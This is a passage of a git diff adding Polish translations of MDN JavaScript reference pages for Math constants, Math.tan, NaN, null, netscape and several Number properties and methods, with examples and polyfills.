<code>SQRT1_2</code> jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.SQRT1_2</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_SQRT1_2" name="Przyk.C5.82ad:_Zastosowanie_SQRT1_2">Przykład: Zastosowanie <code>Math.SQRT1_2</code></h3> + +<p>Poniższa funkcja zwraca pierwiastek kwadratowy z 1/2:</p> + +<pre class="brush:js language-js">function getRoot1_2() { + return Math.SQRT1_2 +} + +<code class="language-js"><span class="token function">getRoot1_2<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 0.7071067811865476</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.pow()")}}</li> + <li>{{jsxref("Math.sqrt()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html new file mode 100644 index 0000000000..6f247b5abe --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html @@ -0,0 +1,41 @@ +--- +title: Math.SQRT2 +slug: Web/JavaScript/Referencje/Obiekty/Math/SQRT2 +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2 +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Pierwiastek kwadratowy z liczby 2, w przybliżeniu 1.414.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT2</mi></mstyle><mo>=</mo><msqrt><mn>2</mn></msqrt><mo>≈</mo><mn>1.414</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414</annotation></semantics></math></p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>SQRT2</code> jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez {{jsxref("Math")}}<code>.SQRT2</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_SQRT2" name="Przyk.C5.82ad:_Zastosowanie_SQRT2">Przykład: Zastosowanie <code>Math.SQRT2</code></h3> + +<p>Poniższa funkcja zwraca pierwiastek kwadratowy z liczby 2:</p> + +<pre class="brush: js language-js">function getRoot2() { + return Math.SQRT2; +} + +<code class="language-js"><span class="token function">getRoot2<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1.4142135623730951</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.pow()")}}</li> + <li>{{jsxref("Math.sqrt()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/tan/index.html b/files/pl/web/javascript/referencje/obiekty/math/tan/index.html new file mode 100644 index 0000000000..844ca8cf12 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/tan/index.html @@ -0,0 +1,53 @@ +--- +title: Math.tan() +slug: Web/JavaScript/Referencje/Obiekty/Math/tan +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca tangens danej liczby.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.tan(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>tan</code> zwraca wartość numeryczną reprezentującą tangens kąta.</p> + +<p>Ponieważ <code>tan()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.tan()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_Math.tan" name="Przyk.C5.82ad:_Zastosowanie_Math.tan">Przykład: Zastosowanie <code>Math.tan()</code></h4> + +<p>Poniższa funkcja zwraca tangens zmiennej <code>x</code>:</p> + +<pre class="brush: js">function getTan(x) { + return Math.tan(x) +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.acos()")}}</li> + <li>{{jsxref("Math.asin()")}}</li> + <li>{{jsxref("Math.atan()")}}</li> + <li>{{jsxref("Math.atan2()")}}</li> + <li>{{jsxref("Math.cos()")}}</li> + <li>{{jsxref("Math.sin()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/nan/index.html b/files/pl/web/javascript/referencje/obiekty/nan/index.html new file mode 100644 index 0000000000..738e9a2a01 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/nan/index.html @@ -0,0 +1,45 @@ +--- +title: NaN +slug: Web/JavaScript/Referencje/Obiekty/NaN +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/NaN +--- +<div> +<div> +<div>{{jsSidebar("Obiekty")}}</div> +</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wartość reprezentująca + <i>Not-A-Number</i> + , tj. nie będąca liczbą.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>NaN</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>NaN</code> jest własnością najwyższego rzędu i nie jest powiązana z żadnym obiektem.</p> + +<p>Wartością początkową <code>NaN</code> jest <code>NaN</code>.</p> + +<p><code>NaN</code> nigdy nie jest równa innej liczbie, nie jest równa nawet samej sobie. Nie jest możliwe sprawdzenie, czy dana wartość jest NaN przez porównanie z {{jsxref("Number.NaN")}} – należy zamiast tego stosować funkcję {{jsxref("Obiekty.isNaN", "isNaN()")}}.</p> + +<p>Wiele metod języka JavaScript (m. in. konstruktor <code>Number</code>, <code>parseFloat</code> i <code>parseInt</code>) zwracają <code>NaN</code>, jeśli wartość ich parametrów nie jest liczbą lub nie daje się na liczbę skonwertować.</p> + +<p><code>NaN</code> można zastosować do zasygnalizowania błędu w funkcji, która zazwyczaj zwraca poprawną liczbę.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.NaN")}}</li> + <li>{{jsxref("Number.isNaN()")}}</li> + <li>{{jsxref("Obiekty.isNaN", "isNaN()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/netscape/index.html b/files/pl/web/javascript/referencje/obiekty/netscape/index.html new file mode 100644 index 0000000000..e30cf9671c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/netscape/index.html @@ -0,0 +1,29 @@ +--- +title: netscape +slug: Web/JavaScript/Referencje/Obiekty/netscape +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/netscape +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Obiekt główny</b> +</p><p>Obiekt najwyższego poziomu używany do korzystania z klas języka Java z pakietu <code>netscape.*</code>. +</p> +<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3> +<p>Obiekt <code>netscape</code> w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Nie ma potrzeby stosowania konstruktora lub wywoływania jakiejkolwiek metody by z niego korzystać. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Obiekt <code>netscape</code> jest synonimem dla własności <code>Packages.netscape</code>. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/netscape">Packages.netscape</a></code> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/netscape", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/netscape" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/null/index.html b/files/pl/web/javascript/referencje/obiekty/null/index.html new file mode 100644 index 0000000000..34e20e399c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/null/index.html @@ -0,0 +1,134 @@ +--- +title: 'null' +slug: Web/JavaScript/Referencje/Obiekty/null +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/null +--- +<div>{{jsSidebar("Objects")}}</div> + +<p>Wartość <code>null</code> reprezentuje zamierzony brak wartości jakiegoś obiektu. Jest jedną z {{Glossary("Primitive", "podstawowych wartości")}} w JavaSript.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>null </code></pre> + +<h2 id="Opis">Opis</h2> + +<p>Wartość <code>null</code>, jak podpowiada nazwa, zapisujemy używając słowa "<code>null</code>". <code>null</code> nie jest zmienną globalną, w przeciwieństwie do {{jsxref("Global_Objects/undefined","undefined")}}. Zamiast tego <code>null</code> wyraża brak identyfikacji, mówiąc nam, że zmienna nie wskazuje na obiekt. W wielu API <code>null</code> jest często zwracany tam, gdzie może być obiekt, ale aktualnie jeszcze go tam nie ma.</p> + +<pre class="brush: js">// foo nie istnieje. Nie jest zdefiniowany oraz nigdy nie był zainicjalizowany: +> foo +"ReferenceError: foo is not defined" + +// Teraz wiadomo że null istnieje, ale nie ma on żadnego typu ani wartości: +> var foo = null; foo; +"null" +</pre> + +<h3 id="Różnice_pomiędzy_null_i_undefined">Różnice pomiędzy <code>null</code> i <code>undefined</code></h3> + +<p>Podczas sprawdzania <code>null</code> lub <font face="Consolas, Liberation Mono, Courier, monospace">undefined</font>, uważaj na <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_porównania">róźnice pomiędzy operatorami równości (==) oraz identyczności (===)</a>, ponieważ ten pierwszy wykonuje konwersję typu.</p> + +<pre class="brush: js">typeof null // "object" (nie jest to "null" ze względu na starsze przyczyny) +typeof undefined // "undefined" +null === undefined // false +null == undefined // true +null === null // true +null == null // true +!null // true +isNaN(1 + null) // false +isNaN(1 + undefined) // true</pre> + +<p> </p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-null-value', 'null value')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-null-value', 'null value')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("undefined")}}</li> + <li>{{jsxref("NaN")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html new file mode 100644 index 0000000000..01315b7ad5 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html @@ -0,0 +1,22 @@ +--- +title: constructor +slug: Web/JavaScript/Referencje/Obiekty/Number/constructor +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Number +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Number">Number</a></b> +</p><p>Określa funkcję tworzącą prototyp obiektu. Należy pamiętać, że wartość tej własności jest referencją do funkcji, a nie łańcuchem znaków zawierającym jej nazwę. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Zobacz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object/constructor">Object.constructor</a></code>. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Number/constructor", "ja": "ja/Core_JavaScript_1.5_Reference/Global_Objects/Number/constructor" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html b/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html new file mode 100644 index 0000000000..289e33ad79 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html @@ -0,0 +1,76 @@ +--- +title: Number.EPSILON +slug: Web/JavaScript/Referencje/Obiekty/Number/EPSILON +tags: + - ECMAScript 2015 + - JavaScript + - Number + - Właściwość +translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON +--- +<div>{{JSRef}}</div> + +<p>Właściwość <strong><code>Number.EPSILON</code></strong> reprezentuje różnicę pomiędzy 1 a najmniejszą liczbą zmiennoprzecinkową większą niż 1.</p> + +<p>Jest to właściwość statyczna. Nie musisz tworzyć obiektu {{jsxref("Number")}}, żeby mieć do niej dostęp (użyj <code>Number.EPSILON</code>).</p> + +<div>{{EmbedInteractiveExample("pages/js/number-epsilon.html")}}</div> + + + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis">Opis</h2> + +<p>Wartość właściwości <code>EPSILON</code> to w przybliżeniu <code>2.2204460492503130808472633361816E-16</code> lub <code>2<sup>-52</sup></code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Testowanie_równości">Testowanie równości</h3> + +<pre class="brush: js">x = 0.2; +y = 0.3; +z = 0.1; +equal = (Math.abs(x - y + z) < Number.EPSILON); +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">if (Number.EPSILON === undefined) { + Number.EPSILON = Math.pow(2, -52); +} +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-number.epsilon', 'Number.EPSILON')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.Number.EPSILON")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Number")}} obiekt, do którego należy ta właściwość.</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/index.html b/files/pl/web/javascript/referencje/obiekty/number/index.html new file mode 100644 index 0000000000..78fc243a0b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/index.html @@ -0,0 +1,111 @@ +--- +title: Number +slug: Web/JavaScript/Referencje/Obiekty/Number +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Number +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Pozwala pracować z wartościami liczbowymi. Obiekt <code>Number</code> jest opakowaniem (ang.<em>wrapper</em> ) dla prymitywnych wartości numerycznych.</p> + +<h2 id="Tworzone_przez" name="Tworzone_przez">Tworzone przez</h2> + +<p>Konstruktor <code>Number</code>:</p> + +<pre class="syntaxbox">new Number(value);</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>value</code> </dt> + <dd>Wartość numeryczna tworzonego obiektu.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt <code>Number</code> jest głównie stosowany do:</p> + +<ul> + <li>Uzyskania dostępu do jego stałych własnościach, które reprezentują najmniejszą i największa możliwą (przestawialną) liczbę, dodatnią lub ujemną nieskończoność i wartość nieliczbową (<em>Not-a-Number</em> ).</li> +</ul> + +<ul> + <li>Aby stworzyć obiekty liczbowe do których możesz dodać własności. Najprawdopodobniej rzadko, kiedy będziesz musiał stworzyć obiekt typu <code>Number</code>.</li> +</ul> + +<p>Własności <code>Number</code> są własnościami jego klasy, nieindywidualnymi własnościami obiektu.</p> + +<p><strong>JavaScript 1.2</strong>: <code>Number(x)</code> teraz tworzy raczej <code>NaN</code> niż błąd jeśli <code>x</code> jest ciągiem znaków, który nie zawiera poprawnie sformatowanej liczby. Na przykład, poniższy kod drukuje <code>NaN</code>:</p> + +<pre class="brush: js">var x = Number("three"); +document.write(x + "<BR>"); +</pre> + +<p>Możesz przekonwertować, każdy obiekt na liczbę używając funkcji wysokiego poziomu <code>Number</code>.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt>{{jsxref("Number.constructor")}}</dt> + <dd>Oznacza funkcję, która tworzy prototyp obiektu.</dd> + <dt>{{jsxref("Number.MAX_VALUE")}}</dt> + <dd>Największa możliwa do przedstawienia liczba.</dd> + <dt>{{jsxref("Number.MIN_VALUE")}}</dt> + <dd>Najmniejsza możliwa do przedstawienia liczba.</dd> + <dt>{{jsxref("Number.NaN")}}</dt> + <dd>Specjalna wartość "nie jest liczbą" (Not-a-Number).</dd> + <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt> + <dd>Specjalna wartość reprezentująca negatywną nieskończoność; zwracana przy przepełnieniu.</dd> + <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt> + <dd>Specjalna wartość reprezentująca nieskończoność; zwracana przy przepełnieniu.</dd> + <dt>{{jsxref("Number.prototype")}}</dt> + <dd>Pozwala na dodawanie (tworzenie) nowych własności obiektu <code>Number</code>.</dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<p><strong>{{jsxref("Number.isInteger()")}}</strong></p> + +<p> Sprawdza czy liczba jest całkowita.</p> + +<dl> + <dt>{{jsxref("Number.toExponential()")}}</dt> + <dd>Zwraca ciąg znaków, reprezentujący liczbę zapisaną w postaci wykładniczej.</dd> + <dt>{{jsxref("Number.toFixed()")}}</dt> + <dd>Zwraca ciąg znaków, reprezentujący liczbę stałoprzecinkową.</dd> + <dt>{{jsxref("Number.toLocaleString()")}}</dt> + <dd>Zwraca czytelny dla ludzi ciąg znaków reprezentujący liczbę zapisaną przy wykorzystaniu lokalnego formatu zapisu liczb. Przesłania metodę {{jsxref("Object.toLocaleString()")}}.</dd> + <dt>{{jsxref("Number.toPrecision()")}}</dt> + <dd>Zwraca ciąg znaków reprezentujący liczbę stałoprzecinkową o podanej precyzji.</dd> + <dt>{{jsxref("Number.toSource()")}}</dt> + <dd>Zwraca literał obiektu reprezentujący podany obiekt <code>Number</code>; możesz użyć tą wartość, przy tworzeniu nowego obiektu. Przesłania metodę {{jsxref("Object.toSource()")}}.</dd> + <dt>{{jsxref("Number.toString()")}}</dt> + <dd>Zwraca ciąg znaków reprezentujący podany obiekt. Przesłania metodę {{jsxref("Object.toString()")}}.</dd> + <dt>{{jsxref("Number.valueOf()")}}</dt> + <dd>Zwraca zmienną typu prostego reprezentującą wartość podanego obiektu. Przesłania metodę {{jsxref("Object.valueOf()")}}.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_obiektu_Number.2C_przy_przypisaniu_warto.C5.9Bci_zmiennym_liczbowym" name="Przyk.C5.82ad:_Zastosowanie_obiektu_Number.2C_przy_przypisaniu_warto.C5.9Bci_zmiennym_liczbowym">Przykład: Zastosowanie obiektu <code>Number</code>, przy przypisaniu wartości zmiennym liczbowym</h3> + +<p>Poniższy przykład używa własności obiektu <code>Number</code>, aby przypisać wartości do kilku wartości numerycznych:</p> + +<pre class="brush: js">var najwiekszaLiczba = Number.MAX_VALUE; +var najmniejszaLiczba = Number.MIN_VALUE; +var nieskonczonosc = Number.POSITIVE_INFINITY; +var negatywnaNieskonczonosc = Number.NEGATIVE_INFINITY; +var nieJestLiczba = Number.NaN; +</pre> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_obiektu_Number_do_modyfikacji_wszystkich_obiekt.C3.B3w_Number" name="Przyk.C5.82ad:_Zastosowanie_obiektu_Number_do_modyfikacji_wszystkich_obiekt.C3.B3w_Number">Przykład: Zastosowanie obiektu <code>Number</code> do modyfikacji wszystkich obiektów <code>Number</code></h3> + +<p>Poniższy przykład tworzy obiekt typu <code>Number</code>, <code>.mojaLiczba</code>, wtedy dodaje własność <code>opis</code>, wszystkim obiektom <code>Number</code>. Następnie wartość jest przypisana do własności <code>opis</code> obiektu <code>mojaLiczba</code>.</p> + +<pre class="brush: js">var mojaLiczba = new Number(65); +Number.prototype.opis = null; +var mojaLiczba.opis = "prędkość wiatru"; +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html b/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html new file mode 100644 index 0000000000..aaf93ab5fb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html @@ -0,0 +1,88 @@ +--- +title: Number.isInteger() +slug: Web/JavaScript/Referencje/Obiekty/Number/isInteger +translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong><code>Number.isInteger()</code></strong> sprawdza czy wpisana wartość jest liczbą całkowitą.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Number.isInteger(v<var>alue</var>)</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>zmienna</code></dt> + <dd>Zmienna będzie testowana jako liczba.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Metoda zwraca wartość typu {{jsxref("Boolean")}}.</p> + +<h2 id="Opis">Opis</h2> + +<p>Jeśli sprawdzana zmienna jest liczbą całkowitą metoda zwraca <code>true</code>, w innym przypadku zwraca <code>false</code>. Jeśli zmienna jest typu {{jsxref("NaN")}} lub spoza zakresu metoda zwraca <code>false</code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">Number.isInteger(0); // true +Number.isInteger(1); // true +Number.isInteger(-100000); // true + +Number.isInteger(0.1); // false +Number.isInteger(Math.PI); // false + +Number.isInteger(NaN); // false +Number.isInteger(Infinity); // false +Number.isInteger(-Infinity); // false +Number.isInteger('10'); // false +Number.isInteger(true); // false +Number.isInteger(false); // false +Number.isInteger([1]); // false +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">Number.isInteger = Number.isInteger || function(value) { + return typeof value === 'number' && + isFinite(value) && + Math.floor(value) === value; +}; +</pre> + +<h2 id="Dokumentacja">Dokumentacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilne_przegladarki">Kompatybilne przegladarki</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.Number.isInteger")}}</p> + +<h2 id="Sprawdź_również">Sprawdź również</h2> + +<ul> + <li>Metoda ta należy do klasy {{jsxref("Number")}}.</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html b/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html new file mode 100644 index 0000000000..ddb723b409 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html @@ -0,0 +1,108 @@ +--- +title: Number.isNaN() +slug: Web/JavaScript/Referencje/Obiekty/Number/isNaN +tags: + - ECMAScript 2015 + - JavaScript + - Metodă + - NaN + - Number + - isNaN +translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong><code>Number.isNaN()</code></strong> określa czy podany parametr ma wartość {{jsxref("NaN")}} i czy jest typu {{jsxref("Number")}}. Jest to ulepszona wersja oryginalnej, globalne funkcji {{jsxref("isNaN", "isNaN()")}}.</p> + +<div>{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}</div> + +<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>Number.isNaN(<var>value</var>)</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code><var>value</var></code></dt> + <dd>Wartość, którą będziemy testować {{jsxref("NaN")}}.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p><strong>true</strong>, jeśli podana wartość jest {{jsxref("NaN")}}, a jej typem jest {{jsxref("Number")}}; w przeciwnym razie, <strong>false</strong>.</p> + +<h2 id="Opis">Opis</h2> + +<p>Ponieważ oba operatory porównania, {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} i {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}, dla zapytania czy {{jsxref("NaN")}} <em>jest równe</em> {{jsxref("NaN")}} zwracają <code>false</code> funkcja <code>Number.isNaN()</code> staje się niezbędna. Jest sytuacja wyjątkowa i nie występuje, gdy porównujemy dowolne inne wartości w języku JavaScript.</p> + +<p>W porównaniu do funkcji globalnej {{jsxref("isNaN", "isNaN()")}}, metoda <code>Number.isNaN()</code> nie ma problemu z usilnym konwertowaniem parametru na liczbę. To oznacza, że można bezpiecznie przekazywać wartości, które normalnie mogłyby zostać skonwertowane na {{jsxref("NaN")}}, ale nie mają tej samej wartości co {{jsxref("NaN")}}. To również oznacza, że jedynie wartości typu {{jsxref("Number")}}, które są również {{jsxref("NaN")}}, zwrócą <code>true</code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">Number.isNaN(NaN); // true +Number.isNaN(Number.NaN); // true +Number.isNaN(0 / 0); // true + +// Gdybyśmy użyli funkcji isNaN(), te przykłady zwróciłby true +Number.isNaN('NaN'); // false +Number.isNaN(undefined); // false +Number.isNaN({}); // false +Number.isNaN('blabla'); // false + +// Wszystkie zwracają false +Number.isNaN(true); +Number.isNaN(null); +Number.isNaN(37); +Number.isNaN('37'); +Number.isNaN('37.37'); +Number.isNaN(''); +Number.isNaN(' '); +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Następujący przykład działa, ponieważ {{jsxref("NaN")}} jest jedyną wartością w języku JavaScript, która nie jest równa samej sobie.</p> + +<pre class="brush: js">Number.isNaN = Number.isNaN || function(value) { + return value !== null && (value != value || +value != value); +} +</pre> + +<h2 